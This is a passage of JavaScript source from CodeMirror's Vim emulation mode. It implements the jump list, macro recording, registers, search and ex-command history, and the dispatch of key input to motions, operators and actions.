        head = pointer;
        tail = pointer - size + 1;
        if (tail < 0) {
          tail = 0;
        }
      }
      function move(cm, offset) {
        pointer += offset;
        if (pointer > head) {
          pointer = head;
        } else if (pointer < tail) {
          pointer = tail;
        }
        var mark = buffer[(size + pointer) % size];
        // skip marks that are temporarily removed from text buffer
        if (mark && !mark.find()) {
          var inc = offset > 0 ? 1 : -1;
          var newCur;
          var oldCur = cm.getCursor();
          do {
            pointer += inc;
            mark = buffer[(size + pointer) % size];
            // skip marks that are the same as current position
            if (mark &&
                (newCur = mark.find()) &&
                !cursorEqual(oldCur, newCur)) {
              break;
            }
          } while (pointer < head && pointer > tail);
        }
        return mark;
      }
      return {
        cachedCursor: undefined, //used for # and * jumps
        add: add,
        move: move
      };
    };

    // Returns an object to track the changes associated insert mode.  It
    // clones the object that is passed in, or creates an empty object one if
    // none is provided.
    var createInsertModeChanges = function(c) {
      if (c) {
        // Copy construction
        return {
          changes: c.changes,
          expectCursorActivityForChange: c.expectCursorActivityForChange
        };
      }
      return {
        // Change list
        changes: [],
        // Set to true on change, false on cursorActivity.
        expectCursorActivityForChange: false
      };
    };

    function MacroModeState() {
      this.latestRegister = undefined;
      this.isPlaying = false;
      this.isRecording = false;
      this.replaySearchQueries = [];
      this.onRecordingDone = undefined;
      this.lastInsertModeChanges = createInsertModeChanges();
    }
    MacroModeState.prototype = {
      exitMacroRecordMode: function() {
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.onRecordingDone) {
          macroModeState.onRecordingDone(); // close dialog
        }
        macroModeState.onRecordingDone = undefined;
        macroModeState.isRecording = false;
      },
      enterMacroRecordMode: function(cm, registerName) {
        var register =
            vimGlobalState.registerController.getRegister(registerName);
        if (register) {
          register.clear();
          this.latestRegister = registerName;
          if (cm.openDialog) {
            this.onRecordingDone = cm.openDialog(
                '(recording)['+registerName+']', null, {bottom:true});
          }
          this.isRecording = true;
        }
      }
    };

    function maybeInitVimState(cm) {
      if (!cm.state.vim) {
        // Store instance state in the CodeMirror object.
        cm.state.vim = {
          inputState: new InputState(),
          // Vim's input state that triggered the last edit, used to repeat
          // motions and operators with '.'.
          lastEditInputState: undefined,
          // Vim's action command before the last edit, used to repeat actions
          // with '.' and insert mode repeat.
          lastEditActionCommand: undefined,
          // When using jk for navigation, if you move from a longer line to a
          // shorter line, the cursor may clip to the end of the shorter line.
          // If j is pressed again and cursor goes to the next line, the
          // cursor should go back to its horizontal position on the longer
          // line if it can. This is to keep track of the horizontal position.
          lastHPos: -1,
          // Doing the same with screen-position for gj/gk
          lastHSPos: -1,
          // The last motion command run. Cleared if a non-motion command gets
          // executed in between.
          lastMotion: null,
          marks: {},
          // Mark for rendering fake cursor for visual mode.
          fakeCursor: null,
          insertMode: false,
          // Repeat count for changes made in insert mode, triggered by key
          // sequences like 3,i. Only exists when insertMode is true.
          insertModeRepeat: undefined,
          visualMode: false,
          // If we are in visual line mode. No effect if visualMode is false.
          visualLine: false,
          visualBlock: false,
          lastSelection: null,
          lastPastedText: null,
          sel: {},
          // Buffer-local/window-local values of vim options.
          options: {}
        };
      }
      return cm.state.vim;
    }
    var vimGlobalState;
    function resetVimGlobalState() {
      vimGlobalState = {
        // The current search query.
        searchQuery: null,
        // Whether we are searching backwards.
        searchIsReversed: false,
        // Replace part of the last substituted pattern
        lastSubstituteReplacePart: undefined,
        jumpList: createCircularJumpList(),
        macroModeState: new MacroModeState,
        // Recording latest f, t, F or T motion command.
        lastChararacterSearch: {increment:0, forward:true, selectedCharacter:''},
        registerController: new RegisterController({}),
        // search history buffer
        searchHistoryController: new HistoryController({}),
        // ex Command history buffer
        exCommandHistoryController : new HistoryController({})
      };
      for (var optionName in options) {
        var option = options[optionName];
        option.value = option.defaultValue;
      }
    }

    var lastInsertModeKeyTimer;
    var vimApi= {
      buildKeyMap: function() {
        // TODO: Convert keymap into dictionary format for fast lookup.
      },
      // Testing hook, though it might be useful to expose the register
      // controller anyways.
      getRegisterController: function() {
        return vimGlobalState.registerController;
      },
      // Testing hook.
      resetVimGlobalState_: resetVimGlobalState,

      // Testing hook.
      getVimGlobalState_: function() {
        return vimGlobalState;
      },

      // Testing hook.
      maybeInitVimState_: maybeInitVimState,

      suppressErrorLogging: false,

      InsertModeKey: InsertModeKey,
      map: function(lhs, rhs, ctx) {
        // Add user defined key bindings.
        exCommandDispatcher.map(lhs, rhs, ctx);
      },
      // TODO: Expose setOption and getOption as instance methods. Need to decide how to namespace
      // them, or somehow make them work with the existing CodeMirror setOption/getOption API.
      setOption: setOption,
      getOption: getOption,
      defineOption: defineOption,
      defineEx: function(name, prefix, func){
        if (!prefix) {
          prefix = name;
        } else if (name.indexOf(prefix) !== 0) {
          throw new Error('(Vim.defineEx) "'+prefix+'" is not a prefix of "'+name+'", command not registered');
        }
        exCommands[name]=func;
        exCommandDispatcher.commandMap_[prefix]={name:name, shortName:prefix, type:'api'};
      },
      handleKey: function (cm, key, origin) {
        var command = this.findKey(cm, key, origin);
        if (typeof command === 'function') {
          return command();
        }
      },
      /**
       * This is the outermost function called by CodeMirror, after keys have
       * been mapped to their Vim equivalents.
       *
       * Finds a command based on the key (and cached keys if there is a
       * multi-key sequence). Returns `undefined` if no key is matched, a noop
       * function if a partial match is found (multi-key), and a function to
       * execute the bound command if a a key is matched. The function always
       * returns true.
       */
      findKey: function(cm, key, origin) {
        var vim = maybeInitVimState(cm);
        function handleMacroRecording() {
          var macroModeState = vimGlobalState.macroModeState;
          if (macroModeState.isRecording) {
            if (key == 'q') {
              macroModeState.exitMacroRecordMode();
              clearInputState(cm);
              return true;
            }
            if (origin != 'mapping') {
              logKey(macroModeState, key);
            }
          }
        }
        function handleEsc() {
          if (key == '<Esc>') {
            // Clear input state and get back to normal mode.
            clearInputState(cm);
            if (vim.visualMode) {
              exitVisualMode(cm);
            } else if (vim.insertMode) {
              exitInsertMode(cm);
            }
            return true;
          }
        }
        function doKeyToKey(keys) {
          // TODO: prevent infinite recursion.
          var match;
          while (keys) {
            // Pull off one command key, which is either a single character
            // or a special sequence wrapped in '<' and '>', e.g. '<Space>'.
            match = (/<\w+-.+?>|<\w+>|./).exec(keys);
            key = match[0];
            keys = keys.substring(match.index + key.length);
            CodeMirror.Vim.handleKey(cm, key, 'mapping');
          }
        }

        function handleKeyInsertMode() {
          if (handleEsc()) { return true; }
          var keys = vim.inputState.keyBuffer = vim.inputState.keyBuffer + key;
          var keysAreChars = key.length == 1;
          var match = commandDispatcher.matchCommand(keys, defaultKeymap, vim.inputState, 'insert');
          // Need to check all key substrings in insert mode.
          while (keys.length > 1 && match.type != 'full') {
            var keys = vim.inputState.keyBuffer = keys.slice(1);
            var thisMatch = commandDispatcher.matchCommand(keys, defaultKeymap, vim.inputState, 'insert');
            if (thisMatch.type != 'none') { match = thisMatch; }
          }
          if (match.type == 'none') { clearInputState(cm); return false; }
          else if (match.type == 'partial') {
            if (lastInsertModeKeyTimer) { window.clearTimeout(lastInsertModeKeyTimer); }
            lastInsertModeKeyTimer = window.setTimeout(
              function() { if (vim.insertMode && vim.inputState.keyBuffer) { clearInputState(cm); } },
              getOption('insertModeEscKeysTimeout'));
            return !keysAreChars;
          }

          if (lastInsertModeKeyTimer) { window.clearTimeout(lastInsertModeKeyTimer); }
          if (keysAreChars) {
            var here = cm.getCursor();
            cm.replaceRange('', offsetCursor(here, 0, -(keys.length - 1)), here, '+input');
          }
          clearInputState(cm);
          return match.command;
        }

        function handleKeyNonInsertMode() {
          if (handleMacroRecording() || handleEsc()) { return true; };

          var keys = vim.inputState.keyBuffer = vim.inputState.keyBuffer + key;
          if (/^[1-9]\d*$/.test(keys)) { return true; }

          var keysMatcher = /^(\d*)(.*)$/.exec(keys);
          if (!keysMatcher) { clearInputState(cm); return false; }
          var context = vim.visualMode ? 'visual' :
                                         'normal';
          var match = commandDispatcher.matchCommand(keysMatcher[2] || keysMatcher[1], defaultKeymap, vim.inputState, context);
          if (match.type == 'none') { clearInputState(cm); return false; }
          else if (match.type == 'partial') { return true; }

          vim.inputState.keyBuffer = '';
          var keysMatcher = /^(\d*)(.*)$/.exec(keys);
          if (keysMatcher[1] && keysMatcher[1] != '0') {
            vim.inputState.pushRepeatDigit(keysMatcher[1]);
          }
          return match.command;
        }

        var command;
        if (vim.insertMode) { command = handleKeyInsertMode(); }
        else { command = handleKeyNonInsertMode(); }
        if (command === false) {
          return undefined;
        } else if (command === true) {
          // TODO: Look into using CodeMirror's multi-key handling.
          // Return no-op since we are caching the key. Counts as handled, but
          // don't want act on it just yet.
          return function() {};
        } else {
          return function() {
            return cm.operation(function() {
              cm.curOp.isVimOp = true;
              try {
                if (command.type == 'keyToKey') {
                  doKeyToKey(command.toKeys);
                } else {
                  commandDispatcher.processCommand(cm, vim, command);
                }
              } catch (e) {
                // clear VIM state in case it's in a bad state.
                cm.state.vim = undefined;
                maybeInitVimState(cm);
                if (!CodeMirror.Vim.suppressErrorLogging) {
                  console['log'](e);
                }
                throw e;
              }
              return true;
            });
          };
        }
      },
      handleEx: function(cm, input) {
        exCommandDispatcher.processCommand(cm, input);
      },

      defineMotion: defineMotion,
      defineAction: defineAction,
      defineOperator: defineOperator,
      mapCommand: mapCommand,
      _mapCommand: _mapCommand,

      defineRegister: defineRegister,

      exitVisualMode: exitVisualMode,
      exitInsertMode: exitInsertMode
    };

    // Represents the current input state.
    function InputState() {
      this.prefixRepeat = [];
      this.motionRepeat = [];

      this.operator = null;
      this.operatorArgs = null;
      this.motion = null;
      this.motionArgs = null;
      this.keyBuffer = []; // For matching multi-key commands.
      this.registerName = null; // Defaults to the unnamed register.
    }
    InputState.prototype.pushRepeatDigit = function(n) {
      if (!this.operator) {
        this.prefixRepeat = this.prefixRepeat.concat(n);
      } else {
        this.motionRepeat = this.motionRepeat.concat(n);
      }
    };
    InputState.prototype.getRepeat = function() {
      var repeat = 0;
      if (this.prefixRepeat.length > 0 || this.motionRepeat.length > 0) {
        repeat = 1;
        if (this.prefixRepeat.length > 0) {
          repeat *= parseInt(this.prefixRepeat.join(''), 10);
        }
        if (this.motionRepeat.length > 0) {
          repeat *= parseInt(this.motionRepeat.join(''), 10);
        }
      }
      return repeat;
    };

    function clearInputState(cm, reason) {
      cm.state.vim.inputState = new InputState();
      CodeMirror.signal(cm, 'vim-command-done', reason);
    }

    /*
     * Register stores information about copy and paste registers.  Besides
     * text, a register must store whether it is linewise (i.e., when it is
     * pasted, should it insert itself into a new line, or should the text be
     * inserted at the cursor position.)
     */
    function Register(text, linewise, blockwise) {
      this.clear();
      this.keyBuffer = [text || ''];
      this.insertModeChanges = [];
      this.searchQueries = [];
      this.linewise = !!linewise;
      this.blockwise = !!blockwise;
    }
    Register.prototype = {
      setText: function(text, linewise, blockwise) {
        this.keyBuffer = [text || ''];
        this.linewise = !!linewise;
        this.blockwise = !!blockwise;
      },
      pushText: function(text, linewise) {
        // if this register has ever been set to linewise, use linewise.
        if (linewise) {
          if (!this.linewise) {
            this.keyBuffer.push('\n');
          }
          this.linewise = true;
        }
        this.keyBuffer.push(text);
      },
      pushInsertModeChanges: function(changes) {
        this.insertModeChanges.push(createInsertModeChanges(changes));
      },
      pushSearchQuery: function(query) {
        this.searchQueries.push(query);
      },
      clear: function() {
        this.keyBuffer = [];
        this.insertModeChanges = [];
        this.searchQueries = [];
        this.linewise = false;
      },
      toString: function() {
        return this.keyBuffer.join('');
      }
    };

    /**
     * Defines an external register.
     *
     * The name should be a single character that will be used to reference the register.
     * The register should support setText, pushText, clear, and toString(). See Register
     * for a reference implementation.
     */
    function defineRegister(name, register) {
      var registers = vimGlobalState.registerController.registers[name];
      if (!name || name.length != 1) {
        throw Error('Register name must be 1 character');
      }
      if (registers[name]) {
        throw Error('Register already defined ' + name);
      }
      registers[name] = register;
      validRegisters.push(name);
    }

    /*
     * vim registers allow you to keep many independent copy and paste buffers.
     * See http://usevim.com/2012/04/13/registers/ for an introduction.
     *
     * RegisterController keeps the state of all the registers.  An initial
     * state may be passed in.  The unnamed register '"' will always be
     * overridden.
     */
    function RegisterController(registers) {
      this.registers = registers;
      this.unnamedRegister = registers['"'] = new Register();
      registers['.'] = new Register();
      registers[':'] = new Register();
      registers['/'] = new Register();
    }
    RegisterController.prototype = {
      pushText: function(registerName, operator, text, linewise, blockwise) {
        if (linewise && text.charAt(0) == '\n') {
          text = text.slice(1) + '\n';
        }
        if (linewise && text.charAt(text.length - 1) !== '\n'){
          text += '\n';
        }
        // Lowercase and uppercase registers refer to the same register.
        // Uppercase just means append.
        var register = this.isValidRegister(registerName) ?
            this.getRegister(registerName) : null;
        // if no register/an invalid register was specified, things go to the
        // default registers
        if (!register) {
          switch (operator) {
            case 'yank':
              // The 0 register contains the text from the most recent yank.
              this.registers['0'] = new Register(text, linewise, blockwise);
              break;
            case 'delete':
            case 'change':
              if (text.indexOf('\n') == -1) {
                // Delete less than 1 line. Update the small delete register.
                this.registers['-'] = new Register(text, linewise);
              } else {
                // Shift down the contents of the numbered registers and put the
                // deleted text into register 1.
                this.shiftNumericRegisters_();
                this.registers['1'] = new Register(text, linewise);
              }
              break;
          }
          // Make sure the unnamed register is set to what just happened
          this.unnamedRegister.setText(text, linewise, blockwise);
          return;
        }

        // If we've gotten to this point, we've actually specified a register
        var append = isUpperCase(registerName);
        if (append) {
          register.pushText(text, linewise);
        } else {
          register.setText(text, linewise, blockwise);
        }
        // The unnamed register always has the same value as the last used
        // register.
        this.unnamedRegister.setText(register.toString(), linewise);
      },
      // Gets the register named @name.  If one of @name doesn't already exist,
      // create it.  If @name is invalid, return the unnamedRegister.
      getRegister: function(name) {
        if (!this.isValidRegister(name)) {
          return this.unnamedRegister;
        }
        name = name.toLowerCase();
        if (!this.registers[name]) {
          this.registers[name] = new Register();
        }
        return this.registers[name];
      },
      isValidRegister: function(name) {
        return name && inArray(name, validRegisters);
      },
      shiftNumericRegisters_: function() {
        for (var i = 9; i >= 2; i--) {
          this.registers[i] = this.getRegister('' + (i - 1));
        }
      }
    };
    function HistoryController() {
        this.historyBuffer = [];
        this.iterator;
        this.initialPrefix = null;
    }
    HistoryController.prototype = {
      // the input argument here acts a user entered prefix for a small time
      // until we start autocompletion in which case it is the autocompleted.
      nextMatch: function (input, up) {
        var historyBuffer = this.historyBuffer;
        var dir = up ? -1 : 1;
        if (this.initialPrefix === null) this.initialPrefix = input;
        for (var i = this.iterator + dir; up ? i >= 0 : i < historyBuffer.length; i+= dir) {
          var element = historyBuffer[i];
          for (var j = 0; j <= element.length; j++) {
            if (this.initialPrefix == element.substring(0, j)) {
              this.iterator = i;
              return element;
            }
          }
        }
        // should return the user input in case we reach the end of buffer.
        if (i >= historyBuffer.length) {
          this.iterator = historyBuffer.length;
          return this.initialPrefix;
        }
        // return the last autocompleted query or exCommand as it is.
        if (i < 0 ) return input;
      },
      pushInput: function(input) {
        var index = this.historyBuffer.indexOf(input);
        if (index > -1) this.historyBuffer.splice(index, 1);
        if (input.length) this.historyBuffer.push(input);
      },
      reset: function() {
        this.initialPrefix = null;
        this.iterator = this.historyBuffer.length;
      }
    };
    var commandDispatcher = {
      matchCommand: function(keys, keyMap, inputState, context) {
        var matches = commandMatches(keys, keyMap, context, inputState);
        if (!matches.full && !matches.partial) {
          return {type: 'none'};
        } else if (!matches.full && matches.partial) {
          return {type: 'partial'};
        }

        var bestMatch;
        for (var i = 0; i < matches.full.length; i++) {
          var match = matches.full[i];
          if (!bestMatch) {
            bestMatch = match;
          }
        }
        if (bestMatch.keys.slice(-11) == '<character>') {
          inputState.selectedCharacter = lastChar(keys);
        }
        return {type: 'full', command: bestMatch};
      },
      processCommand: function(cm, vim, command) {
        vim.inputState.repeatOverride = command.repeatOverride;
        switch (command.type) {
          case 'motion':
            this.processMotion(cm, vim, command);
            break;
          case 'operator':
            this.processOperator(cm, vim, command);
            break;
          case 'operatorMotion':
            this.processOperatorMotion(cm, vim, command);
            break;
          case 'action':
            this.processAction(cm, vim, command);
            break;
          case 'search':
            this.processSearch(cm, vim, command);
            break;
          case 'ex':
          case 'keyToEx':
            this.processEx(cm, vim, command);
            break;
          default:
            break;
        }
      },
      processMotion: function(cm, vim, command) {
        vim.inputState.motion = command.motion;
        vim.inputState.motionArgs = copyArgs(command.motionArgs);
        this.evalInput(cm, vim);
      },
      processOperator: function(cm, vim, command) {
        var inputState = vim.inputState;
        if (inputState.operator) {
          if (inputState.operator == command.operator) {
            // Typing an operator twice like 'dd' makes the operator operate
            // linewise
            inputState.motion = 'expandToLine';
            inputState.motionArgs = { linewise: true };
            this.evalInput(cm, vim);
            return;
          } else {
            // 2 different operators in a row doesn't make sense.
            clearInputState(cm);
          }
        }
        inputState.operator = command.operator;
        inputState.operatorArgs = copyArgs(command.operatorArgs);
        if (vim.visualMode) {
          // Operating on a selection in visual mode. We don't need a motion.
          this.evalInput(cm, vim);
        }
      },
      processOperatorMotion: function(cm, vim, command) {
        var visualMode = vim.visualMode;
        var operatorMotionArgs = copyArgs(command.operatorMotionArgs);
        if (operatorMotionArgs) {
          // Operator motions may have special behavior in visual mode.
          if (visualMode && operatorMotionArgs.visualLine) {
            vim.visualLine = true;
          }
        }
        this.processOperator(cm, vim, command);
        if (!visualMode) {
          this.processMotion(cm, vim, command);
        }
      },
      processAction: function(cm, vim, command) {
        var inputState = vim.inputState;
        var repeat = inputState.getRepeat();
        var repeatIsExplicit = !!repeat;
        var actionArgs = copyArgs(command.actionArgs) || {};
        if (inputState.selectedCharacter) {
          actionArgs.selectedCharacter = inputState.selectedCharacter;
        }
        // Actions may or may not have motions and operators. Do these first.
        if (command.operator) {
          this.processOperator(cm, vim, command);
        }
        if (command.motion) {
          this.processMotion(cm, vim, command);
        }
        if (command.motion || command.operator) {
          this.evalInput(cm, vim);
        }
        actionArgs.repeat = repeat || 1;
        actionArgs.repeatIsExplicit = repeatIsExplicit;
        actionArgs.registerName = inputState.registerName;
        clearInputState(cm);
        vim.lastMotion = null;
        if (command.isEdit) {
          this.recordLastEdit(vim, inputState, command);
        }
        actions[command.action](cm, actionArgs, vim);
      },
      processSearch: function(cm, vim, command) {
        if (!cm.getSearchCursor) {
          // Search depends on SearchCursor.
          return;
        }
        var forward = command.searchArgs.forward;
        var wholeWordOnly = command.searchArgs.wholeWordOnly;
        getSearchState(cm).setReversed(!forward);
        var promptPrefix = (forward) ? '/' : '?';
        var originalQuery = getSearchState(cm).getQuery();
        var originalScrollPos = cm.getScrollInfo();
        function handleQuery(query, ignoreCase, smartCase) {
          vimGlobalState.searchHistoryController.pushInput(query);
          vimGlobalState.searchHistoryController.reset();
          try {
            updateSearchQuery(cm, query, ignoreCase, smartCase);
          } catch (e) {
            showConfirm(cm, 'Invalid regex: ' + query);
            clearInputState(cm);
            return;
          }
          commandDispatcher.processMotion(cm, vim, {
            type: 'motion',
            motion: 'findNext',
            motionArgs: { forward: true, toJumplist: command.searchArgs.toJumplist }
          });
        }
        function onPromptClose(query) {
          cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
          handleQuery(query, true /** ignoreCase */, true /** smartCase */);
          var macroModeState = vimGlobalState.macroModeState;
          if (macroModeState.isRecording) {
            logSearchQuery(macroModeState, query);
          }
        }
        function onPromptKeyUp(e, query, close) {
          var keyName = CodeMirror.keyName(e), up;
          if (keyName == 'Up' || keyName == 'Down') {
            up = keyName == 'Up' ? true : false;
            query = vimGlobalState.searchHistoryController.nextMatch(query, up) || '';
            close(query);
          } else {
            if ( keyName != 'Left' && keyName != 'Right' && keyName != 'Ctrl' && keyName != 'Alt' && keyName != 'Shift')
              vimGlobalState.searchHistoryController.reset();
          }
          var parsedQuery;
          try {
            parsedQuery = updateSearchQuery(cm, query,
                true /** ignoreCase */, true /** smartCase */);
          } catch (e) {
            // Swallow bad regexes for incremental search.
          }
          if (parsedQuery) {
            cm.scrollIntoView(findNext(cm, !forward, parsedQuery), 30);
          } else {
            clearSearchHighlight(cm);
            cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
          }
        }
        function onPromptKeyDown(e, query, close) {
          var keyName = CodeMirror.keyName(e);
          if (keyName == 'Esc' || keyName == 'Ctrl-C' || keyName == 'Ctrl-[' ||
              (keyName == 'Backspace' && query == '')) {
            vimGlobalState.searchHistoryController.pushInput(query);
            vimGlobalState.searchHistoryController.reset();
            updateSearchQuery(cm, originalQuery);
            clearSearchHighlight(cm);
            cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
            CodeMirror.e_stop(e);
            clearInputState(cm);
            close();
            cm.focus();
          } else if (keyName == 'Ctrl-U') {
            // Ctrl-U clears input.
            CodeMirror.e_stop(e);
            close('');
          }
        }
        switch (command.searchArgs.querySrc) {
          case 'prompt':
            var macroModeState = vimGlobalState.macroModeState;
            if (macroModeState.isPlaying) {
              var query = macroModeState.replaySearchQueries.shift();
              handleQuery(query, true /** ignoreCase */, false /** smartCase */);
            } else {
              showPrompt(cm, {
                  onClose: onPromptClose,
                  prefix: promptPrefix,
                  desc: searchPromptDesc,
                  onKeyUp: onPromptKeyUp,
                  onKeyDown: onPromptKeyDown
              });
            }
            break;
          case 'wordUnderCursor':
            var word = expandWordUnderCursor(cm, false /** inclusive */,
                true /** forward */, false /** bigWord */,
                true /** noSymbol */);
            var isKeyword = true;
            if (!word) {
              word = expandWordUnderCursor(cm, false /** inclusive */,
                  true /** forward */, false /** bigWord */,
                  false /** noSymbol */);
              isKeyword = false;
            }
            if (!word) {
              return;
            }
            var query = cm.getLine(word.start.line).substring(word.start.ch,
                word.end.ch);
            if (isKeyword && wholeWordOnly) {
                query = '\\b' + query + '\\b';
            } else {
              query = escapeRegex(query);
            }

            // cachedCursor is used to save the old position of the cursor
            // when * or # causes vim to seek for the nearest word and shift
            // the cursor before entering the motion.
            vimGlobalState.jumpList.cachedCursor = cm.getCursor();
            cm.setCursor(word.start);

            handleQuery(query, true /** ignoreCase */, false /** smartCase */);
            break;
        }
      },
      processEx: function(cm, vim, command) {
        function onPromptClose(input) {
          // Give the prompt some time to close so that if processCommand shows
          // an error, the elements don't overlap.
          vimGlobalState.exCommandHistoryController.pushInput(input);
          vimGlobalState.exCommandHistoryController.reset();
          exCommandDispatcher.processCommand(cm, input);
        }
        function onPromptKeyDown(e, input, close) {
          var keyName = CodeMirror.keyName(e), up;
          if (keyName == 'Esc' || keyName == 'Ctrl-C' || keyName == 'Ctrl-[' ||
              (keyName == 'Backspace' && input == '')) {
            vimGlobalState.exCommandHistoryController.pushInput(input);
            vimGlobalState.exCommandHistoryController.reset();
            CodeMirror.e_stop(e);
            clearInputState(cm);
            close();
            cm.focus();
          }
          if (keyName == 'Up' || keyName == 'Down') {
            up = keyName == 'Up' ? true : false;
            input = vimGlobalState.exCommandHistoryController.nextMatch(input, up) || '';
            close(input);
          } else if (keyName == 'Ctrl-U') {
            // Ctrl-U clears input.
            CodeMirror.e_stop(e);
            close('');
          } else {
            if ( keyName != 'Left' && keyName != 'Right' && keyName != 'Ctrl' && keyName != 'Alt' && keyName != 'Shift')
              vimGlobalState.exCommandHistoryController.reset();
          }
        }
        if (command.type == 'keyToEx') {
          // Handle user defined Ex to Ex mappings
          exCommandDispatcher.processCommand(cm, command.exArgs.input);
        } else {
          if (vim.visualMode) {
            showPrompt(cm, { onClose: onPromptClose, prefix: ':', value: '\'<,\'>',
                onKeyDown: onPromptKeyDown});
          } else {
            showPrompt(cm, { onClose: onPromptClose, prefix: ':',
                onKeyDown: onPromptKeyDown});
          }
        }
      },
      evalInput: function(cm, vim) {
        // If the motion comand is set, execute both the operator and motion.
        // Otherwise return.
        var inputState = vim.inputState;
        var motion = inputState.motion;
        var motionArgs = inputState.motionArgs || {};
        var operator = inputState.operator;
        var operatorArgs = inputState.operatorArgs || {};
        var registerName = inputState.registerName;
        var sel = vim.sel;
        // TODO: Make sure cm and vim selections are identical outside visual mode.
        var origHead = copyCursor(vim.visualMode ? clipCursorToContent(cm, sel.head): cm.getCursor('head'));
        var origAnchor = copyCursor(vim.visualMode ? clipCursorToContent(cm, sel.anchor) : cm.getCursor('anchor'));
        var oldHead = copyCursor(origHead);
        var oldAnchor = copyCursor(origAnchor);
        var newHead, newAnchor;
        var repeat;
        if (operator) {
          this.recordLastEdit(vim, inputState);
        }
        if (inputState.repeatOverride !== undefined) {
          // If repeatOverride is specified, that takes precedence over the
          // input state's repeat. Used by Ex mode and can be user defined.
          repeat = inputState.repeatOverride;
        } else {
          repeat = inputState.getRepeat();
        }
        if (repeat > 0 && motionArgs.explicitRepeat) {
          motionArgs.repeatIsExplicit = true;
        } else if (motionArgs.noRepeat ||
            (!motionArgs.explicitRepeat && repeat === 0)) {
          repeat = 1;
          motionArgs.repeatIsExplicit = false;
        }
        if (inputState.selectedCharacter) {
          // If there is a character input, stick it in all of the arg arrays.
          motionArgs.selectedCharacter = operatorArgs.selectedCharacter =
              inputState.selectedCharacter;
        }
        motionArgs.repeat = repeat;
        clearInputState(cm);
        if (motion) {
          var motionResult = motions[motion](cm, origHead, motionArgs, vim);
          vim.lastMotion = motions[motion];
          if (!motionResult) {
            return;
          }
          if (motionArgs.toJumplist) {
            var jumpList = vimGlobalState.jumpList;
            // if the current motion is # or *, use cachedCursor
            var cachedCursor = jumpList.cachedCursor;
            if (cachedCursor) {
              recordJumpPosition(cm, cachedCursor, motionResult);
              delete jumpList.cachedCursor;
            } else {
              recordJumpPosition(cm, origHead, motionResult);
            }
          }
          if (motionResult instanceof Array) {
            newAnchor = motionResult[0];
            newHead = motionResult[1];
          } else {
            newHead = motionResult;
          }
          // TODO: Handle null returns from motion commands better.
          if (!newHead) {
            newHead = copyCursor(origHead);
          }
          if (vim.visualMode) {
            if (!(vim.visualBlock && newHead.ch === Infinity)) {
              newHead = clipCursorToContent(cm, newHead, vim.visualBlock);
            }
            if (newAnchor) {
              newAnchor = clipCursorToContent(cm, newAnchor, true);
            }
            newAnchor = newAnchor || oldAnchor;
            sel.anchor = newAnchor;
            sel.head = newHead;
            updateCmSelection(cm);
            updateMark(cm, vim, '<',
                cursorIsBefore(newAnchor, newHead) ? newAnchor
                    : newHead);
            updateMark(cm, vim, '>',
                cursorIsBefore(newAnchor, newHead) ? newHead
                    : newAnchor);
          } else if (!operator) {
            newHead = clipCursorToContent(cm, newHead);
            cm.setCursor(newHead.line, newHead.ch);
          }
        }
        if (operator) {
          if (operatorArgs.lastSel) {
            // Replaying a visual mode operation
            newAnchor = oldAnchor;
            var lastSel = operatorArgs.lastSel;
            var lineOffset = Math.abs(lastSel.head.line - lastSel.anchor.line);
            var chOffset = Math.abs(lastSel.head.ch - lastSel.anchor.ch);
            if (lastSel.visualLine) {
              // Linewise Visual mode: The same number of lines.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch);
            } else if (lastSel.visualBlock) {
              // Blockwise Visual mode: The same number of lines and columns.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch + chOffset);
            } else if (lastSel.head.line == lastSel.anchor.line) {
              // Normal Visual mode within one line: The same number of characters.
              newHead = Pos(oldAnchor.line, oldAnchor.ch + chOffset);
            } else {
              // Normal Visual mode with several lines: The same number of lines, in the
              // last line the same number of characters as in the last line the last time.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch);
            }
            vim.visualMode = true;
            vim.visualLine = lastSel.visualLine;
            vim.visualBlock = lastSel.visualBlock;
            sel = vim.sel = {
              anchor: newAnchor,
              head: newHead
            };
            updateCmSelection(cm);
          } else if (vim.visualMode) {
            operatorArgs.lastSel = {
              anchor: copyCursor(sel.anchor),
              head: copyCursor(sel.head),
              visualBlock: vim.visualBlock,
              visualLine: vim.visualLine
            };
          }
          var curStart, curEnd, linewise, mode;
          var cmSel;
          if (vim.visualMode) {
            // Init visual op
            curStart = cursorMin(sel.head, sel.anchor);
            curEnd = cursorMax(sel.head, sel.anchor);
            linewise = vim.visualLine || operatorArgs.linewise;
            mode = vim.visualBlock ? 'block' :
                   linewise ? 'line' :
                   'char';
            cmSel = makeCmSelection(cm, {
              anchor: curStart,
              head: curEnd
            }, mode);
            if (linewise) {
              var ranges = cmSel.ranges;
              if (mode == 'block') {
                // Linewise operators in visual block mode extend to end of line
                for (var i = 0; i < ranges.length; i++) {
                  ranges[i].head.ch = lineLength(cm, ranges[i].head.line);
                }
              } else if (mode == 'line') {
                ranges[0].head = Pos(ranges[0].head.line + 1, 0);
              }
            }
          } else {
            // Init motion op
            curStart = copyCursor(newAnchor || oldAnchor);
            curEnd = copyCursor(newHead || oldHead);
            if (cursorIsBefore(curEnd, curStart)) {
              var tmp = curStart;
              curStart = curEnd;
              curEnd = tmp;
            }
            linewise = motionArgs.linewise || operatorArgs.linewise;
            if (linewise) {
              // Expand selection to entire line.
              expandSelectionToLine(cm, curStart, curEnd);
            } else if (motionArgs.forward) {
              // Clip to trailing newlines only if the motion goes forward.
              clipToLine(cm, curStart, curEnd);
            }
            mode = 'char';
            var exclusive = !motionArgs.inclusive || linewise;
            cmSel = makeCmSelection(cm, {
              anchor: curStart,
              head: curEnd
            }, mode, exclusive);
          }
          cm.setSelections(cmSel.ranges, cmSel.primary);
          vim.lastMotion = null;
          operatorArgs.repeat = repeat; // For indent in visual mode.
          operatorArgs.registerName = registerName;
          // Keep track of linewise as it affects how paste and change behave.
          operatorArgs.linewise = linewise;
          var operatorMoveTo = operators[operator](
            cm, operatorArgs, cmSel.ranges, oldAnchor, newHead);
          if (vim.visualMode) {
            exitVisualMode(cm, operatorMoveTo != null);
          }
          if (operatorMoveTo) {
            cm.setCursor(operatorMoveTo);
          }
        }
      },
      recordLastEdit: function(vim, inputState, actionCommand) {
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.isPlaying) { return; }
        vim.lastEditInputState = inputState;
        vim.lastEditActionCommand = actionCommand;
